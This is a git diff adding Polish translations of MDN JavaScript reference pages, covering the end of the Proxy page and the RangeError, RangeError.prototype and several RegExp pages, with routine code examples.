+},
+{
+ get: function(obj, prop) {
+ // An extra property
+ if (prop === 'latestBrowser') {
+ return obj.browsers[obj.browsers.length - 1];
+ }
+
+ // The default behavior to return the value
+ return obj[prop];
+ },
+ set: function(obj, prop, value) {
+ // An extra property
+ if (prop === 'latestBrowser') {
+ obj.browsers.push(value);
+ return true;
+ }
+
+ // Convert the value if it is not an array
+ if (typeof value === 'string') {
+ value = [value];
+ }
+
+ // The default behavior to store the value
+ obj[prop] = value;
+
+ // Indicate success
+ return true;
+ }
+});
+
+console.log(products.browsers); // ['Internet Explorer', 'Netscape']
+products.browsers = 'Firefox'; // przekazano string (przez pomyłkę)
+console.log(products.browsers); // ['Firefox'] &lt;- nie ma problemu, wartość jest typu array
+
+products.latestBrowser = 'Chrome';
+console.log(products.browsers); // ['Firefox', 'Chrome']
+console.log(products.latestBrowser); // 'Chrome'</pre>
+
+<h3 id="Wyszukiwanie_elementu_tablicy_po_jego_właściwości">Wyszukiwanie elementu tablicy po jego właściwości</h3>
+
+<p>Poniższe proxy rozszerza tablicę o różne użyteczne funkcjonalności. Jak widać, można elastycznie "definiować" właściwości bez użycia <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperties"><code>Object.defineProperties</code></a>. Ten przykład może być użyty aby znaleźć wiersz tabeli po jego komórce. W takim przypadku, celem będzie <a href="/en-US/docs/DOM/table.rows"><code>table.rows</code></a>.</p>
+
+<pre class="brush: js">let products = new Proxy([
+ { name: 'Firefox', type: 'browser' },
+ { name: 'SeaMonkey', type: 'browser' },
+ { name: 'Thunderbird', type: 'mailer' }
+],
+{
+ get: function(obj, prop) {
+ // domyślnym zachowaniem jest zwrócenie wartości; prop jest zwykle typu integer
+ if (prop in obj) {
+ return obj[prop];
+ }
+
+ // zwróć liczbę produktów; alias dla products.length
+ if (prop === 'number') {
+ return obj.length;
+ }
+
+ let result, types = {};
+
+ for (let product of obj) {
+ if (product.name === prop) {
+ result = product;
+ }
+ if (types[product.type]) {
+ types[product.type].push(product);
+ } else {
+ types[product.type] = [product];
+ }
+ }
+
+ // znajdź product po nazwie
+ if (result) {
+ return result;
+ }
+
+ // znajdź produkty po typie
+ if (prop in types) {
+ return types[prop];
+ }
+
+ // zwróć typy produktów
+ if (prop === 'types') {
+ return Object.keys(types);
+ }
+
+ return undefined;
+ }
+});
+
+console.log(products[0]); // { name: 'Firefox', type: 'browser' }
+console.log(products['Firefox']); // { name: 'Firefox', type: 'browser' }
+console.log(products['Chrome']); // undefined
+console.log(products.browser); // [{ name: 'Firefox', type: 'browser' }, { name: 'SeaMonkey', type: 'browser' }]
+console.log(products.types); // ['browser', 'mailer']
+console.log(products.number); // 3
+</pre>
+
+<h3 id="Pełna_lista_przykładów_pułapek">Pełna lista przykładów <code>pułapek</code></h3>
+
+<p>W celu stworzenia pełnej listy przykładów <code>pułapek</code>, w celach dydaktycznych, spróbujemy zastosować proxy na<em>nie natywnym obiekcie </em>który się szczególnie nadaje do tego typu operacji: globalny obiekt <code>docCookies</code> stworzony przez <a href="https://developer.mozilla.org/en-US/docs/Web/API/Document/cookie/Simple_document.cookie_framework" title="https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support">"mały framework" opublikowany na stronie <code>document.cookie</code></a>.</p>
+
+<pre class="brush: js">/*
+ var docCookies = ... pobranie obiektu "docCookies" tutaj:
+ https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support
+*/
+
+var docCookies = new Proxy(docCookies, {
+ get: function (oTarget, sKey) {
+ return oTarget[sKey] || oTarget.getItem(sKey) || undefined;
+ },
+ set: function (oTarget, sKey, vValue) {
+ if (sKey in oTarget) { return false; }
+ return oTarget.setItem(sKey, vValue);
+ },
+ deleteProperty: function (oTarget, sKey) {
+ if (sKey in oTarget) { return false; }
+ return oTarget.removeItem(sKey);
+ },
+ enumerate: function (oTarget, sKey) {
+ return oTarget.keys();
+ },
+ ownKeys: function (oTarget, sKey) {
+ return oTarget.keys();
+ },
+ has: function (oTarget, sKey) {
+ return sKey in oTarget || oTarget.hasItem(sKey);
+ },
+ defineProperty: function (oTarget, sKey, oDesc) {
+ if (oDesc &amp;&amp; 'value' in oDesc) { oTarget.setItem(sKey, oDesc.value); }
+ return oTarget;
+ },
+ getOwnPropertyDescriptor: function (oTarget, sKey) {
+ var vValue = oTarget.getItem(sKey);
+ return vValue ? {
+ value: vValue,
+ writable: true,
+ enumerable: true,
+ configurable: false
+ } : undefined;
+ },
+});
+
+/* Cookies test */
+
+console.log(docCookies.my_cookie1 = 'First value');
+console.log(docCookies.getItem('my_cookie1'));
+
+docCookies.setItem('my_cookie1', 'Changed value');
+console.log(docCookies.my_cookie1);</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2015', '#sec-proxy-objects', 'Proxy')}}</td>
+ <td>{{Spec2('ES2015')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2016', '#sec-proxy-objects', 'Proxy')}}</td>
+ <td>{{Spec2('ES2016')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES2017', '#sec-proxy-objects', 'Proxy')}}</td>
+ <td>{{Spec2('ES2017')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ESDraft', '#sec-proxy-objects', 'Proxy')}}</td>
+ <td>{{Spec2('ESDraft')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_przeglądarek">Kompatybilność przeglądarek</h2>
+
+
+
+<p>{{Compat("javascript.builtins.Proxy", 2)}}</p>
+
+<h2 id="Zobacz_również">Zobacz również</h2>
+
+<ul>
+ <li><a class="external" href="https://www.youtube.com/watch?v=sClk6aB_CPk">"Proxies are awesome" Brendan Eich presentation at JSConf</a> (<a class="external" href="http://www.slideshare.net/BrendanEich/metaprog-5303821">slides</a>)</li>
+ <li><a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:proxies">ECMAScript Harmony Proxy proposal page</a> and <a class="external" href="http://wiki.ecmascript.org/doku.php?id=harmony:proxies_semantics">ECMAScript Harmony proxy semantics page</a></li>
+ <li><a class="external" href="http://soft.vub.ac.be/~tvcutsem/proxies/">Tutorial on proxies</a></li>
+ <li><a href="/en-US/docs/JavaScript/Old_Proxy_API" title="/en-US/docs/JavaScript/Old_Proxy_API">SpiderMonkey specific Old Proxy API</a></li>
+ <li>{{jsxref("Object.watch()")}} is a non-standard feature but has been supported in Gecko for a long time.</li>
+</ul>
+
+<h2 id="Licensing_note">Licensing note</h2>
+
+<p>Some content (text, examples) in this page has been copied or adapted from the <a class="external" href="http://wiki.ecmascript.org/doku.php">ECMAScript wiki</a> which content is licensed <a class="external" href="http://creativecommons.org/licenses/by-nc-sa/2.0/">CC 2.0 BY-NC-SA</a>.</p>
diff --git a/files/pl/web/javascript/referencje/obiekty/rangeerror/index.html b/files/pl/web/javascript/referencje/obiekty/rangeerror/index.html
new file mode 100644
index 0000000000..13c2981e8d
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/rangeerror/index.html
@@ -0,0 +1,162 @@
+---
+title: RangeError
+slug: Web/JavaScript/Referencje/Obiekty/RangeError
+translation_of: Web/JavaScript/Reference/Global_Objects/RangeError
+---
+<div>{{JSRef}}</div>
+
+<p>Obiekt <code><strong>RangeError</strong></code> wskazuje na błąd, gdy wartość jest poza zakresem dozwolonych wartości.</p>
+
+<h2 id="Składnia">Składnia</h2>
+
+<pre class="syntaxbox"><code>new RangeError([<var>message</var>[, <var>fileName</var>[, <var>lineNumber</var>]]])</code></pre>
+
+<h3 id="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd><code>Opcjonalne. Czytelny opis błędu.</code></dd>
+ <dt><code>fileName</code> {{non-standard_inline}}</dt>
+ <dd>Opcjonalne. Nazwa pliku zawierającego kod, któy wywołał wyjątek.</dd>
+ <dt><code>lineNumber</code> {{non-standard_inline}}</dt>
+ <dd>Opcjonalne. Numer linii kodu, gdzie wywołany został wyjątek.</dd>
+</dl>
+
+<h2 id="sect1"> </h2>
+
+<h2 id="Opis">Opis</h2>
+
+<p><code>RangeError</code> rzucany jest podczas próby przesłaniu numeru, jako argumentu do funkcji, która nie pozwala na zakresy zawierające ten numer. To może zdarzyć się podczas próby stworzenia listy (array) o niedozwolonej długości za pomocą konstruktora {{jsxref("Array")}}, lub podczas wywołania metod {{jsxref("Number.toExponential()")}}, {{jsxref("Number.toFixed()")}} lub {{jsxref("Number.toPrecision()")}} z przekazaną złą wartością.</p>
+
+<p> </p>
+
+<h2 id="Właściwości">Właściwości</h2>
+
+<dl>
+ <dt>{{jsxref("RangeError.prototype")}}</dt>
+ <dd>Pozwala na dodanie właściwości do obiektu RangeError.</dd>
+</dl>
+
+<h2 id="Metody">Metody</h2>
+
+<p><code>RangeError</code> nie posiada metod jako takich, ale dziedziczy pewne metody z łańcucha prototypów.</p>
+
+<h2 id="Instancje_RangeError"><code>Instancje RangeError</code></h2>
+
+<h3 id="Właściwości_2">Właściwości</h3>
+
+<div>{{page('pl/docs/Web/JavaScript/Referencje/Obiekty/RangeError/prototype', 'Właściwości')}}</div>
+
+<h3 id="Metody_2">Metody</h3>
+
+<div>{{page('pl/docs/Web/JavaScript/Referencje/Obiekty/RangeError/prototype', 'Metody')}}</div>
+
+<h2 id="Przykłady">Przykłady</h2>
+
+<h3 id="Użycie_RangeError">Użycie <code>RangeError</code></h3>
+
+<pre class="brush: js">var check = function(num) {
+ if (num &lt; MIN || num &gt; MAX) {
+ throw new RangeError('Parameter must be between ' + MIN + ' and ' + MAX);
+ }
+};
+
+try {
+ check(500);
+}
+catch (e) {
+ if (e instanceof RangeError) {
+ // Handle range error
+ }
+}
+</pre>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specyfikacja</th>
+ <th scope="col">Status</th>
+ <th scope="col">Komentarz</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.11.6.2', 'RangeError')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td> </td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-rangeerror', 'RangeError')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td> </td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Bazowe wsparcie</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Bazowe wsparcie</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_też">Zobacz też</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("RangeError.prototype")}}</li>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("Number.toExponential()")}}</li>
+ <li>{{jsxref("Number.toFixed()")}}</li>
+ <li>{{jsxref("Number.toPrecision()")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/rangeerror/prototype/index.html b/files/pl/web/javascript/referencje/obiekty/rangeerror/prototype/index.html
new file mode 100644
index 0000000000..55beba5bc8
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/rangeerror/prototype/index.html
@@ -0,0 +1,123 @@
+---
+title: RangeError.prototype
+slug: Web/JavaScript/Referencje/Obiekty/RangeError/prototype
+translation_of: Web/JavaScript/Reference/Global_Objects/RangeError
+---
+<div>{{JSRef}}</div>
+
+<p><code><font face="Open Sans, Arial, sans-serif">Właściwość </font><strong>RangeError.prototype</strong></code> reprezentuje prototyp konstuktora {{jsxref("RangeError")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Opis">Opis </h2>
+
+<p>Wszystkie instancje {{jsxref("RangeError")}} dziedziczą z prototyup RangeError. Możesz użyć prototypu, by dodać właściwości lub metody do wszystkich instancji.</p>
+
+<h2 id="Właściwości">Właściwości</h2>
+
+<dl>
+ <dt><code>RangeError.prototype.constructor</code></dt>
+ <dd>Funkcja, która tworzy prototyp instancji.</dd>
+ <dt>{{jsxref("Error.prototype.message", "RangeError.prototype.message")}}</dt>
+ <dd>Wiadomość błędu. Chociaż specyfikacja ECMA-262 mówi,  że <span style="line-height: 1.5;">{{jsxref("RangeError")}} powinien dostarczyć swoją własną właściwość </span><code style="font-style: normal; line-height: 1.5;">message</code><span style="line-height: 1.5;">, w </span><a href="/en-US/docs/Mozilla/Projects/SpiderMonkey" style="line-height: 1.5;">SpiderMonkey</a><span style="line-height: 1.5;">, dziedziczy z {{jsxref("Error.prototype.message")}}.</span></dd>
+ <dt>{{jsxref("Error.prototype.name", "RangeError.prototype.name")}}</dt>
+ <dd>Nazwa błędu, dziedziczona z {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "RangeError.prototype.fileName")}}</dt>
+ <dd>Ścieżka do pliku, w którym wywołany został błąd. Dziedziczone z {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "RangeError.prototype.lineNumber")}}</dt>
+ <dd>Numer linii, gdzie wywołany został błąd. Dziedziczone z {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "RangeError.prototype.columnNumber")}}</dt>
+ <dd>Numer kolumny w linii, gdzie wywołany został błąd. Dziedziczone z <span style="line-height: 1.5;">{{jsxref("Error")}}.</span></dd>
+ <dt>{{jsxref("Error.prototype.stack", "RangeError.prototype.stack")}}</dt>
+ <dd>Ślad stosu. Dziedziczone z {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Metody">Metody</h2>
+
+<p>Chociaż prototyp <span style="line-height: 1.5;">{{jsxref("RangeError")}} nie zawiera metod jako taki, instancja </span><span style="line-height: 1.5;">{{jsxref("RangeError")}} dziedziczy pewne metody z łańcucha prototypów.</span></p>
+
+<h2 id="Specyfikacje">Specyfikacje</h2>
+
+<table class="standard-table">
+ <tbody>
+ <tr>
+ <th scope="col">Specification</th>
+ <th scope="col">Status</th>
+ <th scope="col">Comment</th>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES3')}}</td>
+ <td>{{Spec2('ES3')}}</td>
+ <td>Initial definition.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}</td>
+ <td>{{Spec2('ES5.1')}}</td>
+ <td>Defined as <code><em>NativeError</em>.prototype</code>.</td>
+ </tr>
+ <tr>
+ <td>{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+ <td>{{Spec2('ES6')}}</td>
+ <td>Defined as <code><em>NativeError</em>.prototype</code>.</td>
+ </tr>
+ </tbody>
+</table>
+
+<h2 id="Kompatybilność_z_przeglądarkami">Kompatybilność z przeglądarkami</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Chrome</th>
+ <th>Firefox (Gecko)</th>
+ <th>Internet Explorer</th>
+ <th>Opera</th>
+ <th>Safari</th>
+ </tr>
+ <tr>
+ <td>Bazowe wsparcie</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+ <tr>
+ <th>Feature</th>
+ <th>Android</th>
+ <th>Chrome for Android</th>
+ <th>Firefox Mobile (Gecko)</th>
+ <th>IE Mobile</th>
+ <th>Opera Mobile</th>
+ <th>Safari Mobile</th>
+ </tr>
+ <tr>
+ <td>Bazowe wsparcie</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ <td>{{CompatVersionUnknown}}</td>
+ </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("Error.prototype")}}</li>
+ <li>{{jsxref("Function.prototype")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/exec/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/exec/index.html
new file mode 100644
index 0000000000..618ec13d69
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/regexp/exec/index.html
@@ -0,0 +1,144 @@
+---
+title: RegExp.prototype.exec()
+slug: Web/JavaScript/Referencje/Obiekty/RegExp/exec
+tags:
+ - JavaScript
+ - Method
+ - Prototype
+ - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/exec
+---
+<p>{{ JSRef }}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Wykonuje operacje wyszukiwania danego łańcucha znaków. Wynikiem jest macierz.</p>
+
+<h2 id="Sk.C5.82adnia" name="Sk.C5.82adnia">Składnia</h2>
+
+<pre class="syntaxbox"><code><var>regexObj</var>.exec(<var>str</var>)</code></pre>
+
+<p> </p>
+
+<h3 id="Parametry" name="Parametry">Parametry</h3>
+
+<dl>
+ <dt><code>str</code> </dt>
+ <dd>Łańcuch znaków, do którego ma być porównane wyrażenie.</dd>
+</dl>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p>Jak wynika z opisu składni metoda exec może być wywołana w sposób bezpośredni (za pomocą <code>regexp.exec(str)</code>) lub pośredni (za pomocą <code>regexp(str)</code>).</p>
+
+<p>Jeśli wynik będzie pozytywny metoda <code>exec</code> zwróci macierz oraz zaktualizuje własności obiektu. W przeciwnym wypadku zostanie zwrócone <code>null</code>.</p>
+
+<p>Przejrzyj poniższy przykład:</p>
+
+<pre class="brush: js">//Znajdź pojedyncze "d" poprzedzone przez jedno lub więcej "b", po których następuje pojedyncze "d"
+//Zapamiętaj znalezione "b" oraz następujące "d"
+//Ignoruj wielkość liter
+var re=/d(b+)(d)/ig;
+var myArray = re.exec("cdbBdbsbz");
+</pre>
+
+<p>Poniższa tabela pokazuje rezultaty wygenerowane przez skrypt:</p>
+
+<table class="fullwidth-table">
+ <tbody>
+ <tr>
+ <td class="header">Obiekt</td>
+ <td class="header">Właściwość/Indeks</td>
+ <td class="header">Opis</td>
+ <td class="header">Przykład</td>
+ </tr>
+ <tr>
+ <td rowspan="5"><code>myArray</code></td>
+ <td><code> </code></td>
+ <td>Zawartość <code>myArray</code>.</td>
+ <td><code>[ \"dbBd\", \"bB\", \"d\"') ]</code></td>
+ </tr>
+ <tr>
+ <td><code>index</code></td>
+ <td>Indeks wyszukania łańcucha znaków rozpoczynający się od 0.</td>
+ <td><code>1</code></td>
+ </tr>
+ <tr>
+ <td><code>input</code></td>
+ <td>Ciąg bazowy.</td>
+ <td><code>cdbBdbsbz</code></td>
+ </tr>
+ <tr>
+ <td><code>[0]</code></td>
+ <td>Ostatnie odnalezione znaki.</td>
+ <td><code>dbBd</code></td>
+ </tr>
+ <tr>
+ <td><code>[1], ...[<em>n</em> ]</code></td>
+ <td>Wyszukane podłańcuch w nawiasach. Liczba możliwych podłańcuch jest nieokreślona.</td>
+ <td><code>[1] = bB<br>
+ [2] = d</code></td>
+ </tr>
+ <tr>
+ <td rowspan="5"><code>myRe</code></td>
+ <td><code>lastIndex</code></td>
+ <td>Indeks, od którego rozpocząć nowe wyszukiwanie.</td>
+ <td><code>5</code></td>
+ </tr>
+ <tr>
+ <td><code>ignoreCase</code></td>
+ <td>Wskazuje czy flaga "<code>i</code>" została użyta.</td>
+ <td><code>true</code></td>
+ </tr>
+ <tr>
+ <td><code>global</code></td>
+ <td>Wskazuje czy flaga "<code>g</code>" została użyta do globalnego przeszukiwania.</td>
+ <td><code>true</code></td>
+ </tr>
+ <tr>
+ <td><code>multiline</code></td>
+ <td>Wskazuje czy flaga "<code>m</code>" została użyta do globalnego przeszukiwania.</td>
+ <td><code>false</code></td>
+ </tr>
+ <tr>
+ <td><code>source</code></td>
+ <td>Tekst wyszukiwanego łańcucha znaków.</td>
+ <td><code>d(b+)(d)</code></td>
+ </tr>
+ </tbody>
+</table>
+
+<p>Jeżeli twoje wyrażenie regularne korzysta z flagi "g", możesz wielokrotnie używać metody exec() aby porównać je z tym samym ciągiem znaków. W takim wypadku porównywanie rozpoczyna się od elementu zdefiniowanego jako <code>lastIndex. </code>Na przykład:</p>
+
+<pre class="brush: js language-js"><code class="language-js"><span class="keyword token">var</span> myRe <span class="operator token">=</span> <span class="regex token">/ab*/g</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> str <span class="operator token">=</span> <span class="string token">'abbcdefabh'</span><span class="punctuation token">;</span>
+<span class="keyword token">var</span> myArray<span class="punctuation token">;</span>
+<span class="keyword token">while</span> <span class="punctuation token">(</span><span class="punctuation token">(</span>myArray <span class="operator token">=</span> myRe<span class="punctuation token">.</span><span class="function token">exec<span class="punctuation token">(</span></span>str<span class="punctuation token">)</span><span class="punctuation token">)</span> <span class="operator token">!</span><span class="operator token">==</span> <span class="keyword token">null</span><span class="punctuation token">)</span> <span class="punctuation token">{</span>
+ <span class="keyword token">var</span> msg <span class="operator token">=</span> <span class="string token">'Found '</span> <span class="operator token">+</span> myArray<span class="punctuation token">[</span><span class="number token">0</span><span class="punctuation token">]</span> <span class="operator token">+</span> <span class="string token">'. '</span><span class="punctuation token">;</span>
+ msg <span class="operator token">+</span><span class="operator token">=</span> <span class="string token">'Next match starts at '</span> <span class="operator token">+</span> myRe<span class="punctuation token">.</span>lastIndex<span class="punctuation token">;</span>
+ console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span>msg<span class="punctuation token">)</span><span class="punctuation token">;</span>
+<span class="punctuation token">}</span></code></pre>
+
+<p>Skrypt ten wyświetli następujący tekst:</p>
+
+<pre>Found abb. Next match starts at 3
+Found ab. Next match starts at 9
+</pre>
+
+<h2 id="Przyk.C5.82ady" name="Przyk.C5.82ady">Przykłady</h2>
+
+<h3 id="Przyk.C5.82ad:_Zastosowanie_exec" name="Przyk.C5.82ad:_Zastosowanie_exec">Przykład: Zastosowanie <code>exec()</code></h3>
+
+<p>You can also use <code>exec()</code> without creating a {{jsxref("RegExp")}} object:</p>
+
+<pre class="brush: js language-js"><code class="language-js"><span class="keyword token">var</span> matches <span class="operator token">=</span> <span class="regex token">/(hello \S+)/</span><span class="punctuation token">.</span><span class="function token">exec<span class="punctuation token">(</span></span><span class="string token">'This is a hello world!'</span><span class="punctuation token">)</span><span class="punctuation token">;</span>
+console<span class="punctuation token">.</span><span class="function token">log<span class="punctuation token">(</span></span>matches<span class="punctuation token">[</span><span class="number token">1</span><span class="punctuation token">]</span><span class="punctuation token">)</span><span class="punctuation token">;</span></code></pre>
+
+<p>This will display an alert containing 'hello world!'.</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/pl/docs/Web/JavaScript/Guide/Regular_Expressions">Regular Expressions</a> chapter in the <a href="https://developer.mozilla.org//pl/docs/Web/JavaScript/Guide">JavaScript Guide</a></li>
+ <li>{{jsxref("RegExp")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/global/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/global/index.html
new file mode 100644
index 0000000000..e393cbeed0
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/regexp/global/index.html
@@ -0,0 +1,35 @@
+---
+title: RexExp.prototype.global
+slug: Web/JavaScript/Referencje/Obiekty/RegExp/global
+tags:
+ - JavaScript
+ - Property
+ - Prototype
+ - RegExp
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/global
+---
+<div>{{JSRef("Global_Objects", "RegExp")}}</div>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Określa czy z wyrażeniem regularnym została użyta flaga "<code>g</code>".</p>
+
+<div>{{js_property_attributes(0, 0, 1)}}</div>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p><code>global</code> jest własnością pojedynczego obiektu wyrażenia regularnego.</p>
+
+<p>Wartość <code>global</code> wynosi true, jeśli użyta została flaga "<code>g</code>"; w przeciwnym przypadku będzie to wartość <code>false</code>. Flaga "<code>g</code>" wskazuje, że wyrażenie regularne powinno zostać sprawdzone w stosunku do wszystkich możliwych wyników w łańcuchu znaków.</p>
+
+<p>Tej własności nie można zmieniać bezpośrednio.</p>
+
+<h2 id="Zobacz_tak.C5.BCe" name="Zobacz_tak.C5.BCe">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("RegExp.lastIndex")}}</li>
+ <li>{{jsxref("RegExp.prototype.ignoreCase")}}</li>
+ <li>{{jsxref("RegExp.prototype.multiline")}}</li>
+ <li>{{jsxref("RegExp.prototype.source")}}</li>
+ <li>{{jsxref("RegExp.prototype.sticky")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/ignorecase/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/ignorecase/index.html
new file mode 100644
index 0000000000..f847bf1221
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/regexp/ignorecase/index.html
@@ -0,0 +1,35 @@
+---
+title: RegExp.prototype.ignoreCase
+slug: Web/JavaScript/Referencje/Obiekty/RegExp/ignoreCase
+tags:
+ - JavaScript
+ - Property
+ - RegExp
+ - protype
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp/ignoreCase
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Określa czy z wyrażeniem regularnym została użyta flaga "<code>i</code>".</p>
+
+<div>{{js_property_attributes(0, 0, 1)}}</div>
+
+<h2 id="Opis" name="Opis">Opis</h2>
+
+<p><code>ignoreCase</code> jest własnością pojedynczego obiektu wyrażenia regularnego.</p>
+
+<p>Wartość <code>ignoreCase</code> wynosi <code>true</code>, jeśli użyta została flaga "<code>i</code>"; w przeciwnym przypadku będzie to wartość <code>false</code>. Flaga "<code>i</code>" wskazuje, że wielkość znaków ma być ignorowana podczas dokonywania porównań w łańcuchu znaków.</p>
+
+<p>Tej własności nie można zmieniać bezpośrednio.</p>
+
+<h2 id="Zobacz_także">Zobacz także</h2>
+
+<ul>
+ <li>{{jsxref("RegExp.lastIndex")}}</li>
+ <li>{{jsxref("RegExp.prototype.global")}}</li>
+ <li>{{jsxref("RegExp.prototype.multiline")}}</li>
+ <li>{{jsxref("RegExp.prototype.source")}}</li>
+ <li>{{jsxref("RegExp.prototype.sticky")}}</li>
+</ul>
diff --git a/files/pl/web/javascript/referencje/obiekty/regexp/index.html b/files/pl/web/javascript/referencje/obiekty/regexp/index.html
new file mode 100644
index 0000000000..7fb605c26f
--- /dev/null
+++ b/files/pl/web/javascript/referencje/obiekty/regexp/index.html
@@ -0,0 +1,383 @@
+---
+title: RegExp
+slug: Web/JavaScript/Referencje/Obiekty/RegExp
+tags:
+ - Constructor
+ - JavaScript
+ - RegExp
+ - Regular Expressions
+translation_of: Web/JavaScript/Reference/Global_Objects/RegExp
+---
+<p>{{JSRef}}</p>
+
+<h2 id="Podsumowanie" name="Podsumowanie">Podsumowanie</h2>
+
+<p>Obiekt wyrażeń regularnych (ang. <em>regular expression</em>) zawiera wzór regularnego wyrażenia. Posiada ono właściwości i metody, które umożliwiają znalezienie lub zmianę ciągu znaków w innym ciągu znaków.</p>
+
+<p>W dodatku do właściwości pojedynczego obiektu wyrażenia regularnego, które tworzysz używając funkcji konstruktora <code>RegExp</code>, predefiniowany obiekt <code>RegExp</code> posiada własności statyczne, które są ustawione, kiedy jakiekolwiek wyrażenie regularne jest użyte.</p>
+
+<h2 id="Tworzony_przez" name="Tworzony_przez">Tworzony przez</h2>
+
